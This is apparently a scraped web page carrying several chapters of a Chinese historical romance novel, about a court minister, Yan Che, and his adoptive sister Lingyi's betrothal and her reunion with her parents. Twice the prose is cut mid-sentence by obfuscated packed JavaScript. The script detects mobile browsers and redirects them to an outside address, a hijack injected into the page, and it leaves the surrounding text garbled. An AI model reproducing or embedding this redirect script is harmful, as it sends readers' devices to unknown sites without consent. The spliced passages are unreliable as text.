祝颂然又是心疼又是好笑,伸手轻轻点了点她的额头。 “傻丫头,婚姻大事岂能当做筹码?” “当初我嫁给那人时,也是这般觉得,勉强过去即可。可是令颐,这世间万千筹谋,唯独感情,半分都勉强不得。” 自从休夫后,祝颂然很少说起嫁人的这桩经历。 一旁的宋嘉策看着她,眼神流露出一丝心疼。 祝颂然将令颐的手攥得更紧些。 “令颐,正因为我有过一段不如意的姻缘,才更希望你能找到一个良人。” 令颐同样握紧祝颂然的手。 “师姐,你的心意我都明白,不用担心我。” “师姐之前总说我不懂得何为男女之爱,我想着,燕珩说不定能教会我。我会试着慢慢去琢磨的。” 祝颂然有些哭笑不得。 “你这个丫头,平日学什么都快,偏这事上总不开窍。” “颜先生教你的诗书礼乐一学就会,怎么到了儿女情长上,反倒要自己瞎琢磨了?” 令颐不好意思摸摸脸:“总不能什么都指望哥哥啊。” 她也觉得很奇怪,只要是哥哥点拨过的,她都能学得飞快,旁人都没这个效果。 可这男女之事…… 令颐摇了摇头,哥哥自己还未成亲呢,问他也是白问。 她心想,这件事只能自己想办法了。 * 清算阉党以来,转眼已是三月有余。 官员们奔走于各部衙门之间,惶惶不可终日。 唯有颜彻,始终端坐内阁,静待各方消息递到案前。 他落下的每一道令,都似棋盘上轻描淡写的一子,看似随意,却步步紧逼,暗藏杀机。 原本还在观望的官员彻底体会到了这位大人的可怕之处。 这日,颜彻入宫面圣,邵玉、鲁贽和一众官员随行。 宣和帝年幼,还无法亲政,朝中大事皆由太皇太后定夺。 太皇太后翻阅案上奏折:“颜卿,这平反昭雪之事,你打算如何处置?” “回太皇太后,臣已拟好名册,该平反的,必当昭雪,该问罪的,一个不漏。” “至于那些左右逢源之人,臣自有分寸。” 太皇太后抬目看向他,眼底闪过一丝深意。 比起上次见面,此人更加从容了,似乎对什么事都势在必得。 她轻轻合上奏折。 “颜卿,你总是这般气定神闲,好像这天下事,都尽在你掌握之中。” “哀家对你一向放心,可你要知道,人心最是难测。你年纪轻轻就身居高位,不知有多少双眼睛在暗处盯着,万事可要当心。” 颜彻微微躬身,面色清冷如霜。 “多谢太皇太后垂训,不过对臣来说,人心,却是最好掌控的。” 回府时,已是暮色沉沉。 颜府的马车停在门前,刚一下车,管家赵福忠就急匆匆迎上来。 “大公子,淮容侯府登门拜访,人就在厅内候着。” 此前淮容侯府数次递上拜帖或是请帖,都被颜彻以各种理由回绝了。 这次倒好,他们直接找上门来,颜府总不能把他们轰出去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834472|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >颜彻道:“就说我公务在身,不便接待。” 赵福忠声音有几分急切:“大公子,这次的怕是不好回绝。” “淮容侯他们,是来提亲的。” * 正厅内,淮容侯燕平昌搁下茶盏,看向对面的年轻男子。 已经两盏茶时间了。 颜彻竟然能沉住气到现在,只字不提他今日的来意。 先是跟他聊了军马政,又聊了边关粮饷调度,句句尖锐。 这两件恰恰都是他主理却屡遭圣上申饬的要务,此人每一句话都似有深意,却又让人抓不住把柄。 他频频喝茶,压下心头的不适。 想他燕平昌武将出身,也曾征战沙场,身上皆是刀光剑影淬炼出的杀伐之气,此刻竟被不动声色地压制。 而面前这位年轻的重臣只是静坐着,姿态从容,连腰间玉带的流苏都纹丝不动,却莫名让人喘不过气。 坐在下首的燕珩同样坐不住了,目光频频望向厅门方向。 可为了令颐,他同样选择了忍耐。 颜彻将两人的神色尽收眼底。 “侯爷今日来得突然,前些日子收到拜帖,本想着您会早些登门,没想到竟耽搁至今。” 淮容侯眉头微皱。 分明是颜府屡次无视邀约,这话倒像是他们失约在先。 “颜大人说笑了,今日前来,其实是为小儿怀瑾与令妹之事。” 颜彻温和一笑。 “我记得侯爷当年说,令颐年纪尚小,婚事不必着急,怎么今日倒主动提起。” 淮容侯噎住,当年退婚之事,确实是他们侯府理亏。 风水轮流转,以颜彻如今在朝堂上的身份地位,换成他们侯府要巴结这门亲事了。 他强忍着情绪:“当年,是老夫考虑不周,还望大人海涵。” “小儿和令妹在宫中相识,两人甚是情投意合。老夫想着,既然两个孩子两情相悦,我们这些做长辈的,也不该耽误了这桩良缘。” 对于一个一品军侯来说,这番话已是将姿态放得极低。 颜彻慢条斯理端起茶盏,不为所动。 “令颐自幼养在我身边,性子如何,我最清楚。若真是一桩良缘,我这个做兄长的,自然不会拦着。” 这话里的弦外之音再明显不过,你们淮容侯府,未必就是良缘。 淮容侯脸色渐沉,正要发作,却见颜彻放下茶盏,发出清脆的碰撞声。 “既然侯爷亲自登门,不如我们商量下三书六聘之事?” 这一句话恰到好处,瞬间消融了满室寒意,仿佛对淮容侯的心思了如指掌。 淮容侯登时转怒为喜:“正该如此,正该如此!” 燕珩闻言更是大喜过望,几乎是从座位上弹了起来,险些带倒了桌上的茶盏。 “大人,可否容晚辈前去看望令颐?” 得到默许后,他几乎是三步并作两步飞奔出了正厅。 20. 第 20 章 池塘边,令颐正蹲下身采下一束花枝。 正值妙龄的少女无须太多装饰,一袭淡粉色裙柔柔铺展,手里抱着嫩黄的花束,甜净而柔媚。 一阵急促的脚步声由远及近,传到她耳畔。 她讶然回首,一抹熟悉的明黄色身影向她奔来。 “燕珩?!” 少女惊呼一声,手中花枝跌落在青石板上。 燕珩已奔至她跟前,气息微喘,俊脸上是藏不住的喜悦。 他俯身拾起花枝,塞回令颐微凉的手中。 “都说了多少次了,叫我阿珩。” 声音里带着少年人特有的爽朗和不容拒绝的亲昵。 不光如此,马上就要叫夫君了。 侍立一旁的芳菲和晴雪见状,掩唇偷笑,两人交换了一个心照不宣的眼神。 她们默契地屈膝行礼:“姑娘,燕世子,奴婢们先告退了。” 待人走后,令颐还懵懵的:“你怎么过来了?” “我想你了,一刻也等不得,就想立刻见到你。” 令颐疑惑地看着他。 见她又羞又疑的可爱模样,燕珩朗声笑起来:“逗你玩的,我是来提亲的!” 他手臂揽住令颐的腰肢,稍一用力,便将她整个人抱离了地面! “诶?!” 令颐骤然双脚腾空,吓得花容失色。 “你干嘛,快放我下来!” 她惊慌失措环顾四周,生怕被人瞧见。 少女粉色的衣袖随着动作拂过燕珩的脸颊,一股清幽淡雅的女儿香若有似无地萦绕鼻端。 “不放。” 燕珩越发心痒难耐,恨不得现在就抓了她回侯府拜堂。 “马上就是我的人了,让我抱一会怎么了?” “燕珩!” 令颐眼含怒气,显然真的恼了。 燕珩终于依依不舍把人放下来,双手却仍虚扶在她腰间,仿佛怕她跑了似的。 令颐揉了揉被她箍得生疼的腰,没好气地瞪了他一眼。 “莽夫,一点轻重都没有!” 燕珩浑不在意她的嗔怪:“我家小娘子骂人都这么可爱。” 令颐脸颊涨红:“谁是你小娘子!” “好好好不逗你了,别生气了,嗯?” 燕珩俯下身,语气放柔:“你之前答应嫁给我的,可不能反悔。” 令颐哦了一声,不自然别开了眼。 其实这些日子,她冷静下来想了想,觉得自己应下婚事时,似乎太过冲动。 虽说世家联姻本就是利益交换,可燕珩待她极好,对她的喜欢很纯粹。 她不能为了哥哥就耽误了他,这对他不公平。 她一直想着,找个合适的机会跟燕珩开口。 燕珩见她突然沉默,以为她还在生气,凑近安哄。 “别恼了,待我们成亲后,我们去游山玩水,玩个一年如何?” “我都规划好了,咱们先把京城玩个遍,再去汴西,你不是喜欢江南小镇吗?我们就去那儿住上一阵,只有我们两个人,你想去哪儿我都陪着你……” 远处回廊下,颜彻负手而立。 长睫垂下淡淡阴翳,漆黑静敛的眼底没有一丝情绪。 赵福忠垂首站在一旁,欲言又止。 他记得,颜彻早就命人备好了南下的马车,准备料理完宫中的一切,带二姑娘出去玩一阵子。 还给二姑娘准备了一把绢伞,特意请京城最好的绣娘做的。 赵福忠低下头,不敢去看颜彻的脸色。 颜彻却开了口:“赵管家,你在想什么?” 赵福忠不想回答这个问题。 他嗓音不自觉发紧,只能装糊涂道:“老奴在想,江南是个不错的地方,很值得去游玩。” “是么。” 颜彻淡淡道,目光落在远处那对璧人身上。 夕阳熔金,温煦的余晖柔柔笼罩着他们,少年意气风发,少女娇羞可人。 当真是美好的一幕。 “是,我也这么认为。” 他唇角微扬,露出个温雅如玉的笑容。 仿佛方才的凝望只是闲暇时的驻足欣赏。 “回去吧,侯爷还在里面候着。” * 淮容侯一行人走后不久,赵福忠找上令颐。 “二姑娘,大公子说要见你。” 令颐随他回到正厅,檀木案几上的茶盏还残留着余温。 颜彻端坐主座,见到她,脸上浮起温润的笑。 “令颐,你来。” 令颐乖乖走上前,坐到哥哥身边。 牙齿不自觉咬着唇上的小痣。 每次哥哥这般语气,就是有重要的话要跟她交代。 颜彻却并未急着看口,目光落在她腰间的绦带上。 打的结带变得软塌塌的,腰间衣裳处多了很多褶皱,发髻也有些凌乱。 被人抱过。 他不着痕迹收回目光:“方才淮容侯登门拜访,你可知是为了什么?” 令颐点头:“知道……” “那好,告诉哥哥,你是真的想嫁给燕小侯爷吗?” 令颐闻言顿住,垂眸思索良久。 “哥哥,其实……这些日子我也在想这个问题。” “怎么想的,说来听听?” 令颐嘟囔着嘴:“我觉得,我不知道什么是喜欢,更不明白男女之情。有时候我觉得,就这样糊里糊涂地嫁人,对阿珩太不公平了。” “我脑海里总有两个声音在吵,一个说做人要言而有信,既然答应了就不该反悔。另一个却说,我不能因为一时冲动就耽误他的一生。” 颜彻搁下茶盏,认真看着她。 令颐继续说:“至于阿珩,我觉得,他有点……嗯……鲁莽,还经常欺负我……” “但他很认真地说,要娶我。” 说到这,她抬头看了一眼颜彻。 见他仍耐心听着,便鼓起勇气往下说。 “而且,有一点我很确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847607|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他是真心待我的。若我们成亲,他一定会对我很好很好。” “师姐常说,易得无价宝,难求有情郎。所以我会想,和他在一起后,我说不定能明白什么是喜欢。” 她抬起脸:“所以哥哥,我是愿意嫁的。” 颜彻:“但你心里还是有些迷茫,是吗?” 令颐点头:“对。” “是因为你觉得,自己还不懂什么是喜欢?” 令颐又连连点头。 “好,我知道了。” 颜彻沉吟片刻:“既然如此,那我们就应下这桩婚事,哥哥会送你风光出嫁。” “我家妹妹的婚事,不会比京城任何人差。” 令颐起身抱住他,声音软糯:“谢谢哥哥。” 颜彻顺势将她搂在了怀里,轻拍她纤薄的背,像在安哄。 赵福忠看到这一幕,默默退下了。 令颐搂着哥哥的脖子,靠在他肩膀上。 “哥哥如今身居高位,妹妹也要嫁人啦。” 她托着粉腮,眉眼俱是女儿家的娇羞。 “是啊。” 颜彻淡淡应了一声。 “令颐,我还有一件事要与你说。” 令颐微微坐直身子:“嗯嗯?” “阉党已除,先前的冤案由我主事,大多已开始沉冤昭雪,你父亲那桩案子,也该有结果了。” “正好你与侯府议亲在即,我想着趁此机会将你家人接来,让你们团聚。” “虽说如今景州闹旱灾,你父亲暂时脱不开身,但是来京城见见你倒是没问题。” 他唇角扬起:“以后,你便认祖归宗,换回姜家女儿的身份。” 姜家女儿? 姜令颐。 这个陌生又熟悉的名字在令颐心头滚过,令她一阵恍惚。 自从八岁开始,她便跟在浔之哥哥身边,早已习惯了颜家小姐的身份。 以后,她就不再是颜家小姐了么? 泪水不自觉就涌出了眼眶,吧嗒吧嗒地往下掉。 颜彻温柔摸她的头:“怎么哭了,这是好事。” 小姑娘哽咽着扑进他怀里:“那以后……我不是颜家姑娘了,就要离开哥哥了吗?” “我不要离开哥哥……我不要……” 眼泪顺着她白软的脸颊滚落,砸在年轻郎君衣衫上。 颜彻将小姑娘搂紧了些,仿佛这样就能给她更多的安全感。 “令颐,你是我唯一的妹妹,即便换了姓氏,这份兄妹之情也不会变。” 覆在她腰间的力道微微收紧,无声表达着他的立场。 门外,捧着茶盘的侍女正要入内,被赵福忠拦下。 “大公子和二姑娘正在叙话,没事不要进来打扰。" “是。” 赵福忠看向屋内,兄妹温情的一幕甚是动人。 只是,二姑娘没有意识到一件事。 若她不再是颜家人,她和大公子之间那些世俗的礼教束缚,便不复存在了。 21. 第 21 章 颜府门前,令颐伸着脖子张望着,脸上尽是焦急。 “怎么还不来?怎么还不来……该不会路上出了什么岔子吧……” “诶呀,爹娘这么久没见我,会不会……会不会认不出我了!” 芳菲笑着安慰:“怎么会呢,老爷和夫人最疼姑娘了,怎会认不出来?” 眼瞧她急得团团转恨不得自己去城门接,芳菲柔声道:“姑娘莫急,赵管家办事一向妥当,老爷和夫人兴许马上就到了。” 正说着,远处传来马蹄声与车辙声,一辆青帷马车缓缓驶来。 令颐的心猛地一跳,眼睛一眨不眨地盯着那辆马车,直到车帘掀开。 姜朔和虞氏先后下了马车,也在朝府门处张望。 “令令!” 虞氏一眼便认出了女儿,声音哽咽,泪水瞬间涌出。 听到这一声令令,令颐眼泪“唰”地落下来。 她提着裙摆飞奔过去,一头扑进父母怀里。 “爹、娘!我好想你们啊……呜呜……” 小姑娘泪珠子啪嗒啪嗒往下掉,像是要把这些年的委屈和思念一股脑儿哭出来。 姜朔同样眼眶微湿,伸手抚了抚女儿的发顶。 “长高了,也长大了。” 他哽咽比划着:“爹娘上次见你时只有这么点,还是个小粉团呢,现在都出落成大姑娘了。” 虞氏捧起女儿的脸仔细端详:“快,让娘好好看看你,这么些年可有好好吃饭?身体怎么样?晚上可还睡得着?” “爹,娘,不用担心,浔之哥哥把我照顾得很好,吃的香睡的饱。你们看,我都被养得胖乎乎了。” 令颐捏了捏自己肉乎乎的脸颊。 “那就好那就好……” 一家人紧紧握着手,眼眶都涌满了泪水,芳菲看着这一幕也在一旁偷偷抹眼泪。 令颐发现少了人,忙问:“伯聿阿兄呢,他怎么没来?” 虞氏含泪笑道:“你阿兄在军中公务繁忙,加上你嫂子生病,他便留下了。” “他特地嘱咐我们给你请罪,让你别怪他。还说待你回景州时,让你多抱抱小侄。” 令颐急了:“阿兄说什么话呢,我怎么会怪罪他!” 姜朔和虞氏慈爱摸了摸乖女儿的头。 赵福忠见几人站在风口叙话,上前道:“姜大人,虞夫人,外头风大,快进府里说话吧。” 令颐这才回过神来,敲了下自己的脑袋:“瞧我,高兴的都忘乎所以了。” 她脸上绽开两个梨涡,一手挽着母亲,一手拉着父亲,欢欢喜喜地往府里走。 一路上,她嘴里不停地问:“爹娘路上累不累?景州可好?阿兄入了军营操练可辛苦?” “好好好,都好。” 姜朔道:“多亏你浔之阿兄,伯聿如今入了赤羽军跟在秦放将军麾下,在军中颇受重用。” 几人到正厅,侍女们早已备好了茶。 虞氏温柔握住女儿的手。 “令令,你浔之阿兄在信上说,你与侯府世子就要成亲了?” 令颐像被人捏住了后颈,整个身体一僵。 她低着头,声音细弱:“嗯,是的……” 这副模样落在姜氏夫妻眼中,只当是女儿家谈及婚事的娇羞。 姜朔道:“好,好,为父也算是搁下一桩心事。” “你这丫头从小就和别家姑娘不一样,成天傻乎乎的,你不知道我和你娘有多操心。” 姜氏夫妻并不知道侯府退婚一事,只当两人终于修成正果。 虞氏道:“是啊,我家的傻丫头也要为人妇了。” 她拉住令颐的手絮絮叮嘱:“令令,嫁人之后就不再是小姑娘了,将来要好好服侍夫君,侍奉公婆。” “侯门最是看中品性,你要时刻铭记贤良淑德,早日在婆家立足……” 虞氏拉住她的手交代不停,恨不得把一生的经验都交给她。 令颐听着阿娘的温柔嘱托,心里乱糟糟的。 “娘,我怕我做不好……我根本不知道如何侍奉夫君,我连绣个鸳鸯枕套都能把手缠到一块,能当得了侯府的媳妇吗?” 令颐伏在虞氏膝上。 “我不知道能不能做到像娘这样,当好一家主母。” 她心里还有好多疑惑,甚至连自己是不是真的喜欢燕珩都不知道。 虞氏安慰她:“傻丫头,没有人生来就知道这些的,很多事都要靠你慢慢学,重要的是用心。” 令颐虽不甚明白,可还是乖巧点点头。 …… 颜彻回府时已是掌灯时分。 赵福忠向他禀告,说姜大人夫妇已经平安接了回来,在府中安顿下。 “姜大人说想见一见大公子,现就在书房候着。” 颜彻微微颔首,随口问道:“令颐今日很高兴吧?” “是啊,下午带姜大人和虞夫人去同文馆,又在京城逛了一圈,这会儿正和虞夫人在房里说体己话呢。” 颜彻眼中掠过一丝柔和:“她盼了这么久,自然欢喜。” 说罢,他径直往书房而去。 屋内,姜朔正立在窗前。 景州多年的艰苦生涯没有蹉跎他的心性,他的背影依旧挺拔如松,不失气度。 “老师。” 颜彻轻声唤道,嗓音低沉温和。 姜朔闻声回头,目光落在颜彻身上,细细打量片刻,眼中浮现起欣慰之色。 “浔之,我们一别已有十年了吧。” 眼前郎君早已褪去少年的青涩,比上次见到的更加沉稳,练达通透,身上多了些渊渟岳峙之气。 整个人带着坐拥天下的威仪,处变不惊的沉稳,又不失文人雅士的温润。 真是国器啊,他在心里感叹道。 颜彻上前几步,郑重行了一礼。 “学生一直未能再回景州拜见,心中甚愧。” 姜朔伸手扶住他。 “你入内阁辅佐天子,我身为你的老师,心里自是无比骄傲,又怎会怪你?” 他语气感慨:“当年是庆隆九年吧,我在江边初见你时你尚是个少年郎君,如今已是国之栋梁了。” 颜彻微微一笑:“老师当年赠我犀带,称我为小友,这份知遇之恩,学生从未敢忘。” 两人从庆隆九年一直聊到建兴四年的兵变。 “当初阉党当道,我姜家平遭劫难,同僚皆避之不及,到头来,只有你一人还前去诏狱探望。” 颜彻道:“学生已着手清理阉党犯下的冤案,不日老师便可恢复清名,不再是罪臣之身。” “至于调回京城之事,待景州灾情平定,学生会尽快安排。” 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“而且,令颐年纪尚小,多留些时日备嫁也是好的。” 淮容侯仍有些微词,但毕竟要考虑到令颐的父母,最终还是沉着脸答应了。 赵福忠在一旁听着,全程默不作声。 他是了解大公子的,若他真想促成婚事,大可以请圣上特批姜氏夫妇提前回京,或是让新人去景州拜见岳家。 可他选择了这种最费周折的法子。 他心底了然,像往常一样,选择了闭口不说。 令颐对这些弯弯绕绕浑然不觉。 对她来说什么时候成亲都一样,她更在乎的是另一件事。 “爹娘怎么刚来就要走啊……” 颜府门前,她耷着脸小嘴往下一撇,委屈得要哭了。 “令令乖,爹娘也舍不得你。” 虞氏将女儿紧紧抱在怀里:“如今景州大旱,百姓还等着你爹爹回去主持大局。” 姜朔不舍摸了摸女儿的头。 “等过了这阵子,爹娘再和你大哥来京城陪你,好不好?” “到时候我们还要亲眼看你风风光光出嫁呢。” “嗯嗯,爹娘记得给我寄信!” 说完又佯作娇嗔补充了一句:“要写长一点的,不许只写两句话打发我!” 姜朔和虞氏相视一笑,连连应下。 马车渐行渐远,最终消失在长街转角。 芳菲和赵福忠连忙上前安慰令颐。 “二姑娘别难过,大公子不是说了嘛,老爷马上就能调回京了。” 令颐拿帕子揉了揉眼睛:“我才没难过呢,我就是风沙迷了眼。” “阿娘说我要嫁人了,不能总像个小姑娘似的哭哭啼啼。” 芳菲笑道:“哪儿的话,大公子都说了,在大公子面前,姑娘永远是小姑娘呢。” 赵福忠在一旁道:“姑娘虽改了姜姓,但仍是咱们颜府的掌上明珠。大公子吩咐了,一切吃穿用度照旧,您千万别有负担。” “嗯嗯,谢谢哥哥,谢谢赵管家。” 令颐心里暖融融的,她知道哥哥待她极好。